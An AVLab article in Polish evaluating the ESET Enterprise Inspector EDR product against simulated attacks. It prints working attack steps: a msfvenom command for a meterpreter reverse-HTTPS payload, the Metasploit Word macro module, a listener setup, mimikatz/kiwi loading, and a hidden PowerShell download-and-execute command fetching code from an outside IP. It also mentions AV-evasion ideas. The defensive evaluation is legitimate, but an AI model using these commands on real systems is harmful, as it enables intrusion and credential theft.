Na przestrzeni ostatnich 10 lat branża IT bardzo wyraźnie wyewoluowała w kierunku zautomatyzowanych narzędzi do wczesnego ostrzegania przed cyberatakami. Systematycznie obserwujemy rynek i dostrzegamy pewną nomenklaturalną niespójność, która zupełnie niepotrzebnie zatrzymała się na etapie tak zwanych antywirusów. W opisanym poniżej doświadczeniu, sprawdzającym reakcję rozwiązania ESET Enterprise Inspector klasy typu EDR (Endpoint Detection and Response) na wybrane cyberataki, postaramy się udowodnić, że tak zwane antywirusy – kiedyś a obecnie – znacząco się różnią. Porównywanie technologii sprzed dekady do tej dzisiejszej, to mówiąc delikatnie, mijanie się ze stanem faktycznym.

Współcześnie nawet bezpłatne programy ochronne przeznaczone na rynek domowych odbiorców mają niewiele wspólnego z sygnaturami, ponieważ ta podstawowa ochrona jest tylko dodatkiem do pozostałych warstw ochronnych, które możemy porównać do liści cebuli. Rynek retailowy jest dojrzały i dobrze rozwinięty. Koszty zakupu oprogramowania nie są już problemem, ale wybór tego najbardziej solidnego rozwiązania spośród bogatej oferty producentów jest już inną parą kaloszy. Każdy producent przedstawia odbiorcy końcowemu własne marketingowe dane i mnożąc te informacje przez ilość dostawców nie jest łatwe przebrnięcie przez tak niewyobrażalną porcję informacji. Ilość danych w kontekście całego rynku zabezpieczeń może przytłaczać nawet ekspertów, którym trudno jest nadążyć za produktami dynamicznie przechodzącymi ewolucję.

W pewnym sensie rynek B2B jest podobny. Tutaj użytkownik zmienia się w administratora, który ma te same problemy, tylko że zwielokrotnione. Więc czy możliwe jest wybranie produktu skonsolidowanego, pokrywającego większość wektorów sieciowych i zarazem nieskomplikowanego? W redakcji AVLab — organizacji edukującej i uświadamiającej, staramy się przedstawiać wyłącznie te rozwiązania, które sami moglibyśmy używać. Dlatego dzisiaj chcemy pokazać mocne strony systemów EDR na przykładzie rozwiązania ESET Enterprise Inspector.

Administratorzy są bombardowani informacjami o nowych produktach. Wybór jest zawsze prosty – albo zostajemy przy rozwiązaniu obecnym, albo idziemy w zupełnie innym kierunku.
Administratorzy są bombardowani informacjami o nowych produktach. Wybór jest zawsze prosty – albo zostajemy przy rozwiązaniu obecnym, albo idziemy w zupełnie innym kierunku.

Systemy EDR dalece wykraczają poza tzw. antywirusy

Do tej pory na skuteczne wykrywanie i reagowanie na incydenty mogły sobie pozwolić tylko firmy z dedykowanym centrum obsługi bezpieczeństwa (Security Operational Center — SOC) lub wyspecjalizowanym zespołem IT, specjalnie przeszkolonym do wyszukiwania i analizowania cyberataków. Teraz firmy dzięki rozwiązaniu Endpoint Detection and Resposne (EDR) mogą redukować czas, w którym hakerzy pozostają niewykrywalni w sieci. Systemy EDR jednocześnie pokazują w jakiem kierunku zmierza cała branża, czyli automatyzacji oraz błyskawicznemu reagowaniu na incydenty.

ESET Enterprise Inspector. Kilka alarmów po przeprowadzonym doświadczeniu.
ESET Enterprise Inspector. Kilka alarmów po przeprowadzonym doświadczeniu.

Rozwiązania klasy EDR to bardzo wyspecjalizowane produkty do zbierania informacji o podejrzanej aktywności. Głównym ich zadaniem jest ułatwienie zespołom ds. bezpieczeństwa podejmowania decyzji na podstawie wskaźników zagrożeń (Indicators of Compromise — IoC). Mówiąc wprost EDR pozwala na bieżąco zarządzać incydentami oraz wyszukiwać śladów włamań i ataków na każdym punkcie końcowym, dzięki czemu rozwiązania EDR pozwalają uniknąć dodatkowych wydatków na naprawianie problemów z bezpieczeństwem.

W przeciwieństwie do usług Service as a Security produkty EDR wymagają wykwalifikowanej kadry. Ktoś przecież musi reagować na zaistniałe incydenty. Kiedy firma zdecyduje się oprzeć ochronę stacji roboczych o rozwiązania jednego dostawcy, to otrzyma rozwiązanie pokrywające większość znanych sposobów sieciowego wtargnięcia do organizacji. Pamiętajmy, że internet jest tylko łącznikiem, wektorem przenoszącym ładunek z punktu A do punktu B, a same ilości sposobów ataków są niezliczone. Przestępców ogranicza tylko wyobraźnia. Warto wspomnieć chociażby o ułomności systemu operacyjnego Windows, gdzie obejść politykę restrykcji PowerShell można na około 50 różnych sposobów. Mając taką wiedzę i dostępność do sieci da się w systemie zrobić w zasadzie wszystko. Bez odpowiedniej ochrony można nawet uzyskać uprawnienia administratora domeny.

Wdrożone rozwiązanie EDR w dedykowanych centrach bezpieczeństwa pozwala monitorować sieć 24 godziny na dobę. Bezpieczeństwo jest niekończącym się procesem, dlatego nie podlega sztywnym zasadom zainstalowania ochrony, a następnie czekania aż coś się wydarzy. Rozwiązania zabezpieczające bardzo mocno zmieniły się na przestrzeni lat, dlatego obecnie producenci oferują klientom bardzo dobre produkty monitorujące praktycznie każdy element infrastruktury.

Analiza ataków sieciowych z użyciem systemu EDR ESET Enterprise Inspector

Zazwyczaj problemem jest przedstawienie konkretnej sytuacji w jakich mogą przydać się rozwiązania klasy Endpoint Detection and Response. Chcieliśmy zasymulować dwa takie przypadki, często używane w prawdziwych atakach. Po pierwsze dlatego, że cyberprzestępcy nie mają trudności z przygotowaniem podobnych kampanii, ale wymaga się od nich technicznej wiedzy o działaniu systemów ochronnych i budowy sieci. Drugi powód jest taki, że atak musi być połączony z dobrym pomysłem socjotechnicznym, aby dostarczyć ładunek co najmniej do jednego komputera pracownika.

Przygotowanie narzędzi

Do zasymulowania ataku wykorzystaliśmy oprogramowanie Metasploit oraz jeden z dostępnych frameworków TheFatRat do generowania złośliwego oprogramowania. Inne tego typu narzędzia to np.: Empier, Unicorn, Office-DDE-Payloads, Backdoor-Factory. Dodatkowo z Metasploitem zintegrowane są moduły Mimikatz oraz Kiwi, które używa się do eskalacji uprawnień lub dostępu do zasobów.

Zwracamy uwagę, że takie narzędzia są w różnym stopniu znane dostawcom rozwiązań bezpieczeństwa. Tutaj przewagę mają producenci świadczący usługi red-teamingu, ponieważ łatwiej jest opracować produkt we współpracy z praktykami bezpieczeństwa. Jak pokazują raporty z już ujawnionych incydentów, cyberprzestępcy nie odmawiają korzystania z gotowego arsenału. Etap socjotechniczny w warunkach laboratoryjnych zostanie pomięty, ponieważ skuteczność udanego ataku zależy od wielu czynników np. od stopnia uświadomienia pracowników, a także wdrożonych zabezpieczeń. W symulowanym incydencie nie da się tego przewidzieć, dlatego skupimy się wyłącznie na technicznych kwestiach.

Pierwsze uruchomienie narzędzi

Metasploit został zainstalowany na serwerze w Niemczech. Realny scenariusz ataku w warunkach kontrolowanych to najlepsza, nieinwazyjna i w pełni legalna metoda testowania zabezpieczeń.

Metasploit do działania wymaga zaledwie 2GB pamięci RAM na serwerze VPS. Jest to sposób tani i powszechnie dostępny.
Metasploit do działania wymaga zaledwie 2GB pamięci RAM na serwerze VPS. Jest to sposób tani i powszechnie dostępny.
Fabryka TheFatRat po pierwszym uruchomieniu.
Fabryka TheFatRat po pierwszym uruchomieniu.

Rozpowszechnienie się narzędzi dla pentesterów doprowadziło do powstania właśnie tego typu programów, które są pomocne przy żmudnej pracy ekspertów, ale też podczas badania zabezpieczeń w sposób zupełnie „nieautoryzowany” (przez prawdziwych hakerów). Możliwości frameworka TheFatRat są duże i nie ograniczają się tylko do systemu Windows. W tym doświadczeniu wykorzystamy opcję [06], czyli wygenerujemy złośliwe oprogramowanie i spróbujemy użyć  metod postexploitacyjnych. Założenie doświadczenia jest takie, aby ładunek nie był wykrywalny dla produktu ESET (dostarczenie ładunku i komunikacja z serwerem to już odmienna kwestia).

Generujemy złośliwy plik EXE za pomocą TheFatRat

Podajemy adres IP, numer oraz nazwę szkodliwego pliku, którą można zmienić w dowolnym momencie. Następnie wybieramy sposób komunikacji zwrotnej szkodliwego oprogramowania z oprogramowaniem pentesterskim. W tym doświadczeniu użyliśmy metody szyfrowanej wykorzystującej protokół HTTPS.

Ustawiamy adres IP serwera nasłuchującego oraz port do komunikacji. Z uwagi na prawdziwy scenariusz wrażliwe dane zostały ukryte.
Ustawiamy adres IP serwera nasłuchującego oraz port do komunikacji. Z uwagi na prawdziwy scenariusz wrażliwe dane zostały ukryte.
Wygenerowanie plik to kwestia kilkudziesięciu sekund.
Wygenerowanie plik to kwestia kilkudziesięciu sekund.

I w zasadzie to już wszystko. Szkodliwy_plik.exe został zapisany w katalogu tymczasowym narzędzia TheFatRat. Teraz trzeba dostarczyć ładunek do komputera ofiary.

Wygenerowany plik.
Wygenerowany plik.

W prawdziwym scenariuszu ze względu na solidne filtry antyspamowe produktu ESET, ochronę serwera poczty, a także ochronę w przeglądarce, nie będzie to wcale takie łatwe. Wątek socjotechniczny pominiemy. W dalszej części do dostarczenia szkodliwego oprogramowania posłużymy się serwerem Apache z prostą stroną WWW, na której umieścimy złośliwy plik.

Utworzymy drugi złośliwy plik za pomocą msvenom

Posłużymy się wbudowanymi narzędziami w oprogramowanie Metasploit. Moduł msfvenom odpowiada m.in. za generowanie i kodowanie ładunków. Oto przykładowe polecenie:

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_https LHOST=IP_hakera
LPORT=port_serwera SessionExpirationTimeout=0 SessionCommunicationTimeout=0 -f exe -o szkodliwy_plik.exe

Generujemy makrowirusa za pomocą Metasploita

Wygenerowanie złośliwego dokumentu zawierającego makro to też zaledwie kilka poleceń. Mając plik „szkodliwy_dokument.docm” da się go przekonwertować do DOC lub DOCX. Można też skopiować makro i wstawić do osobnego dokumentu napisanego pod konkretny atak. Plik można też pozostawić w oryginalnej postaci.

Konsola zwraca komunikat, że operacja zakończyła się sukcesem.
Konsola zwraca komunikat, że operacja zakończyła się sukcesem.

use exploit/multi/fileformat/office_word_macro

msf exploit(multi/fileformat/office_word_macro) > set filename szkodliwy_dokument.docm

filename => szkodliwy_dokument.docm

msf exploit(multi/fileformat/office_word_macro) > exploit

[*] Using template: /opt/metasploit/apps/pro/vendor/bundle/ruby/2.6.0/gems/metasploit-framework-4.17.86/data/exploits/office_word_macro/template.docx

[*] Injecting payload in document comments

[*] Injecting macro and other required files in document

[*] Finalizing docm: szkodliwy_dokument.docm

[+] szkodliwy_dokument.docm stored at /root/.msf4/local/szkodliwy_dokument.docm

Włączamy nasłuchiwanie i oczekujemy na połączenie

Mamy już pliki, które trzeba dostarczyć do komputera ofiary. Teraz trzeba jeszcze ustawić na serwerze hakera nasłuchiwanie oczekujące na połączenie, dostosowując rodzaj do złośliwego oprogramowania.  

use exploit/multi/handler

set payload windows/meterpreter/reverse_https

set lhost IP

set lport 8443

exploit -j

Należy pamiętać, że w prawdziwym ataku adres IP atakującego będzie ukryty za serwerem proxy i/lub VPN-em. Serwer musi też być odpowiednio zabezpieczony przed dostępem (najlepiej użyć logowania z kluczem i zmienić domyślny port SSH).

Sprawdzamy połączenie w testowym środowisku

Dostarczyliśmy złośliwe oprogramowanie do testowego systemu. Teraz sprawdzimy, czy wszystko działa tak jak powinno.

Atakujący ma już dostęp do komputera ofiary.
Atakujący ma już dostęp do komputera ofiary.

Komputer ofiary prawidłowo połączył się ze serwerem hakera. Metasploit wysłał do urządzenia payload, który uruchomił kod i nawiązał połączenie z powłoką systemową Windows. Od teraz można uzyskać dostęp do CMD i PowerShell. Można też załadować narzędzie Kiwi albo Mimikatz, które są używane w prawdziwych cyberatakach. Te moduły są zintegrowane z Metasploitem. Po ustanowieniu sesji z komputerem ofiary należy użyć polecenia:

load mimikatz
load kiwi

Sposobów przejęcia kontroli nad systemem jest bardzo dużo. Niemniej nadal trzeba szukać podatności i exploitować Windows, albo użyć Kiwi i Mimikatz do stworzenia nowego użytkownika i przypisać prawa administratora domeny. Mając podwyższone uprawnienia można przenieść się do powłoki PowerShell i wykonywać dowolne polecenia.

load shell

Na tym etapie atakujący ma już zdalny dostęp do komputera z takimi samymi uprawnieniami jak zalogowany użytkownik. Sprawdźmy jeszcze jak przebiega ustanowienie połączenia i czy faktycznie do niego dochodzi. Do śledzenia komunikacji używamy oprogramowania Wireshark. Uruchamiamy złośliwy plik i czekamy na połączenie z konsolą hakera.

Wireshark ujawnia proces uzgadniania kluczy oraz nawiązanie połączenia pomiędzy urządzeniami. W konsekwencji tych działań atakujący uzyskuje zdalny dostęp do komputera.
Wireshark ujawnia proces uzgadniania kluczy oraz nawiązanie połączenia pomiędzy urządzeniami. W konsekwencji tych działań atakujący uzyskuje zdalny dostęp do komputera.

Jak reaguje ESET na podejrzane akcje? Co znajduje się w logach?

Reakcja rozwiązania ESET Enterprise Inspector za każdym razem była prawidłowa (tak jak się spodziewaliśmy). Systematycznie przeprowadzamy testy bezpieczeństwa, dlatego możemy wyraźnie powiedzieć, że systemy EDR to nie są zabawki dla małych chłopców.

Przypisane szkodliwe i podejrzane akcje do odpowiednich reguł. ESET automatycznie definiuje zagrożenie.
Przypisane szkodliwe i podejrzane akcje do odpowiednich reguł. ESET automatycznie definiuje zagrożenie.

Monitorowany jest absolutnie każdy element systemu operacyjnego. Wszystkie interpretery Windows, a także procesy, powiązane wątki, uruchamiane polecenia, próba wyczyszczeni logów z Windows Event, załadowane biblioteki DLL, wstrzykiwany kod itp. Wszystko jest ze sobą powiązane, dlatego ESET tworzy czytelne drzewa korelacji procesów zaistniałego incydentu. Na podstawie reguł producenta przypisywane są akcje odpowiadające poszczególnym modułom agenta, dlatego możemy zaobserwować, że nie tylko antywirus bierze udział w ochronie, ale faktycznie HIPS.

Uruchomienie naszego złośliwego pliku spowodowało nierozłączną korelację używanych procesów.
Uruchomienie naszego złośliwego pliku spowodowało nierozłączną korelację używanych procesów.

ESET prawidłowo rozpoznał atak. Otworzony dokument zawierający makro uruchamia interpreter CMD.exe i wykonuje polecenie:

/C "powershell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring('http://51.89.23.194:8080/uZJJ2hY');"

W tym momencie PowerShell uruchamia poniższą komendę. Mamy próbę pobrania ładunku z adresu HTTP:

-nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring('http://51.89.23.194:8080/uZJJ2hY');

Konsola administracyjna ESET Enterprise Inspector.
Konsola administracyjna ESET Enterprise Inspector.

Konsekwencją nie zablokowania takiego ataku może być włamanie do sieci organizacji. Dostarczony ładunek łączy maszynę ofiary z serwerem hakera za pośrednictwem odwrotnego połączenia poprzez wybrany przez hakera protokół i port oraz zapewnia dostęp do powłoki poleceń.  

ESET nigdy wcześniej nie widział tego zagrożenia na innych komputerach, które zabezpiecza na całym świecie. Mimo to reguły wykrywania włamań pozwoliły ustalić, że jest to plik podejrzany.
ESET nigdy wcześniej nie widział tego zagrożenia na innych komputerach, które zabezpiecza na całym świecie. Mimo to reguły wykrywania włamań pozwoliły ustalić, że jest to plik podejrzany.

Atakujący mógłby jeszcze bardziej zaciemnić działanie fabryki TheFatRat i połączyć wygenerowany złośliwy plik z instalatorem KeePass lub CCleaner (instalatory podpisane cyfrowo!). Można do tego użyć dedykowanego rozwiązania ShelterProject, chociaż lepszym sposobem jest użycie metamorficznego kodera zawartego w Metasploicie — Shikata Ga Nai (dla architektury x86). Metamorfizm sprawia, że zmienia się m.in. kod binarny pliku, wykorzystywane rejestry, instrukcje skoku. Nie jest to technika doskonała. I chociaż można podszyć się pod plik zaufany cyfrowo, to nie zmieni się złośliwych akcji wykonywanych przez dołączony złośliwy plik.

Dla kogo są systemy EDR?

Endpoint Detection and Response (EDR) to systemy szybkiego reagowania. Tak naprawdę jest to moduł graficznej obsługi systemu HIPS. Dzięki informacjom na temat popularności i reputacji plików w sieci firmowej, obecności i prawidłowości podpisów cyfrowych oraz certyfikatów, a także za sprawą monitorowania zachowania poszczególnych plików, aplikacji oraz pracowników, EDR potrafi wykryć każdą nieprawidłowość. Dzięki rozbudowanej strukturze filtrów i reguł, możliwe jest zautomatyzowanie procesu wykrywania niepożądanych działań. W ten sposób zespoły odpowiedzialne za bezpieczeństwo mogą uszczelnić ochronę, dopasowując czułość detekcji podejrzanych plików.

Dobrym przykładem praktycznego wykorzystania systemu EDR jest taki realny scenariusz: jest sobota 6 rano, gdy ktoś upublicznił krytyczną lukę w przeglądarce. Opublikowane IoC (sumy kontrolne, nazwy plików lub adresy IP) mogą być pomocne w rozpoznaniu exploita rozprzestrzenianego in-the-wild. EDR umożliwia szybkie sprawdzenie systemów pod kątem potencjalnych wskaźników infekcji. EDR nie zawsze wskazuje na infekcję wprost, może jednak zaalarmować zespół bezpieczeństwa, który podejmie odpowiednią reakcję. Dodatkowo EDR może pomóc znaleźć słabe punkty nawet w jądrze systemowym. Rozwiązania typu EDR są doskonałym przykładem reagowania produktu bezpieczeństwa na nieznane zagrożenie.

ESET Enterprise Inspector daje pełny wgląd w działanie monitorowanej i chronionej sieci firmowej. Możliwe jest m.in. sprawdzenie, czy użytkownicy nie naruszają firmowej polityki bezpieczeństwa, np. korzystając z niepożądanych aplikacji, sieci Tor czy torrentów. Dzięki EDR komputery są sprawdzane w czasie rzeczywistym w celu zbadania systemów plików, stanu sieci, pamięci lub konfiguracji punktów końcowych.

Zachęcamy do korzystania z modułów EDR, które pozwalają redukować czas, w jakim hakerzy pozostają niewykrywalni w sieci. Niektóre badania pokazują wyraźnie, że cyberprzestępcy mogą mieć dostęp do sieci organizacji nawet przez kilka miesięcy, dlatego traktowanie infrastruktury jakby już została zaatakowana, to bardzo dobra strategia.

Podsumowanie

Do tej pory na skuteczne wykrywanie i reagowanie na incydenty mogły sobie pozwolić tylko firmy z dedykowanym centrum obsługi bezpieczeństwa (Security Operational Center — SOC) lub wyspecjalizowanym zespołem IT, specjalnie przeszkolonym do wyszukiwania i analizowania cyberataków. Teraz firmy dzięki rozwiązaniu Endpoint Detection and Resposne (EDR) mogą redukować czas, w którym hakerzy pozostają niewykrywalni w sieci. Systemy EDR jednocześnie pokazują w jakiem kierunku zmierza cała branża, czyli automatyzacji oraz błyskawicznemu reagowaniu na incydenty.

AUTOR:

Adrian Ścibor

Podziel się

Dodaj komentarz